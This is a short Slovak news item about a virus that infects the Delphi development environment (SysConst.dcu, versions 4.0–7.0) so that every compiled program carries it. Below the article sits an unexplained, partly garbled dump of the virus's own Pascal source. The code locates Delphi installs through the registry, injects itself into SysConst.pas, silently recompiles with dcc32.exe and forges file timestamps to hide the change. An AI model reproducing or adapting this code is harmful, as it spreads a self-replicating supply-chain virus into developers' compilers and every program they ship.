Win vírus infikuje vývojové prostredie Delphi
Kaspersky oznámil existenciu špeciálneho typu Win vírusu, infikujúceho vývojové prostredie Delphi (konkrétne súbor SysConst.dcu) verzií 4.0, 5.0, 6.0 a 7.0. Od toho okamihu všetky programy kompilované v Delphi ako .exe súbory, sú infikované týmto vírusom. Na myšlienku, prepašovať malware kód do C-kompileru a tento fake C-kompiler použiť na tvorbu malware, prišiel už v roku 1984 Ken Thompson. Zdroj správy na h-online.com.
Pre pridávanie komentárov sa musíte prihlásiť.
uses windows; var sc:array[1..24] of string=( ˙˙˙˙P function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i] ˙˙˙˙P =#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile; ˙˙˙˙P h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin ˙˙˙˙P h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle ˙˙˙˙P (h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile ˙˙˙˙P (f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while ˙˙˙˙P not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0 ˙˙˙˙P then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2 ˙˙˙˙P ,$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2, ˙˙˙˙P x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$ ˙˙˙˙P )); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f. ˙˙˙˙P wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0, ˙˙˙˙P f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$), ˙˙˙˙P pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3, ˙˙˙˙P 0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:= ˙˙˙˙P CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h, ˙˙˙˙P @t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of ˙˙˙˙P char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx( ˙˙˙˙P HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then ˙˙˙˙P begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:= ˙˙˙˙P 1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+ ˙˙˙˙P $.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;